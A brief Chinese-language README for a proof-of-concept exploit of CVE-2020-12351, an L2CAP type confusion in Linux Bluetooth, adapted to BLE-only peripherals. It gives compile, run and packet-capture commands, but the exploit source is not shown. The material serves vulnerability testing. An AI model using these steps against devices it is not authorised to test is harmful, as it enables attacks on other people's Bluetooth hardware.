Linux: L2CAP 中基于堆的类型混淆 针对 BLE 实现的 PoC (CVE-2020-12351)
原始 PoC 专注于通过经典蓝牙发送恶意 l2cap 数据包。然而,我的需求是将其测试于仅支持蓝牙低功耗 (BLE) 通信且已采用完整 BlueZ 协议栈(经典和低功耗均支持)的外设上。
L2CAP 是主机协议栈中的通用协议,同时支持蓝牙经典和 BLE 实现。
配备 BLE 适配器的 Linux 机器。如果机器没有内置适配器,可以购买一个外接适配器。
1. 编译
gcc -o CVE-2020-12351 CVE-2020-12351.c -lbluetooth
2. 运行
$./CVE-2020-12351 <BLE_外设_MAC_地址> //MAC 格式: FF:FF:FF:FF:FF:FF
抓包:
hcidump -i <hci0> -w CVE-2020-12351.pcap